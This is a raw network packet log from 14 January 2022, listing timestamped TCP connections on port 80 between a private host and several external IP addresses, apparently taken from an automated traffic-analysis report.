Jan 14, 2022 12:30:15.991200924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991370916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991384983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991550922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991566896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991728067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991743088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991904020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.991916895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992082119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992095947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992263079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992276907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992440939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992455959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992624998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:15.992650986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.033030987 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.035634041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.036158085 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.036175013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.036185026 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.036197901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.036415100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.042661905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.042678118 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.055742979 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.055773020 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.055836916 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.065669060 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.066742897 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.066905022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.066927910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067070007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067081928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067230940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067245960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067481041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067497969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067646027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067656040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067826033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067835093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.067992926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068006039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068170071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068182945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068346977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068360090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068510056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068521976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068685055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068696976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068860054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.068871975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069025040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069037914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069179058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069191933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069355011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069366932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069510937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069525003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069694996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069715023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069848061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.069856882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070015907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070023060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070168972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070183039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070401907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070494890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070633888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070743084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070909023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.070925951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071090937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071105003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071310043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071324110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071480036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071490049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071645021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071655989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071810007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.071820974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.072078943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.072098970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.072102070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.072201014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.083749056 CET	80	49923	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.083877087 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.084609985 CET	49923	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.094696999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.094731092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.094883919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.094898939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095057011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095066071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095233917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095248938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095510006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095526934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095530033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095679998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095698118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095855951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.095871925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096035004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096050978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096210957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096227884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096379995 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.096400023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096414089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096570969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096589088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096879005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.096899986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.097047091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.097059965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.097223043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.097242117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.101255894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.101284027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.101814985 CET	80	49923	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.105472088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.131417990 CET	80	49924	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.131460905 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.131488085 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.131527901 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.134495020 CET	80	49922	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.134522915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.134660006 CET	49922	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.136820078 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.157231092 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.161919117 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.164339066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.164390087 CET	49903	80	192.168.2.4	185.163.45.70
Jan 14, 2022 12:30:16.171775103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.180265903 CET	80	49925	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.181021929 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.181130886 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.181297064 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.181325912 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.181564093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.181741953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.181751013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.181943893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.181952000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182126045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182146072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182405949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182419062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182593107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182601929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182822943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.182845116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.183013916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.183026075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.183187962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.183197975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.183341980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.198596954 CET	80	49925	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.198615074 CET	80	49925	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.243793011 CET	80	49924	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.247704983 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.247720957 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.263015032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263046026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263190985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263390064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263396025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263581991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263592005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263765097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263771057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263955116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.263967037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264144897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264153957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264251947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264434099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264442921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264626026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264631987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264813900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.264822006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265002966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265010118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265188932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265199900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265398026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265408039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265582085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265588999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265769005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265775919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265960932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.265968084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266146898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266154051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266335011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266345024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266524076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266532898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266726017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266735077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266916037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.266925097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267100096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267108917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267283916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267292023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267473936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267482996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267654896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267663956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267846107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.267854929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268032074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268038034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268218994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268225908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268414021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268420935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268600941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268608093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268789053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268800020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268986940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.268995047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.269267082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.269274950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.269548893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.269556999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.269759893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270001888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270018101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270196915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270205975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270395041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270404100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270581961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270587921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270751953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270760059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270940065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.270946026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.299299002 CET	80	49924	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.303258896 CET	80	49925	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.303287029 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.303343058 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.303539991 CET	49925	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:16.323542118 CET	80	49925	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:16.323616028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.323628902 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.324533939 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.324807882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.326277018 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.326571941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.326585054 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.328315973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.328330040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.328493118 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.328504086 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.329297066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.329413891 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.329425097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.330502033 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.330513000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.332628012 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:16.354676962 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:16.355624914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.356118917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.356339931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.356564045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.356755018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.356926918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.357103109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.357328892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.357538939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.357727051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.357961893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.358176947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.358406067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.358642101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.358831882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.359078884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.359267950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.359513998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.359726906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.359946012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.360140085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.360397100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.360631943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.360887051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.361103058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.361319065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.361529112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.361763000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.362024069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.362245083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.362492085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.362670898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.362938881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.363162041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.363396883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.363605022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.363810062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364047050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364203930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364392042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364525080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364749908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.364936113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.365129948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.365339041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.365576982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.365778923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.365959883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.366146088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.366337061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.366509914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.366723061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.366915941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.367099047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.367312908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.367480040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.367681026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.367861032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.368021965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.368227959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.368415117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.368662119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.368859053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.369050980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.369246960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:16.369463921 CET	49914	80	192.168.2.4	185.215.113.35
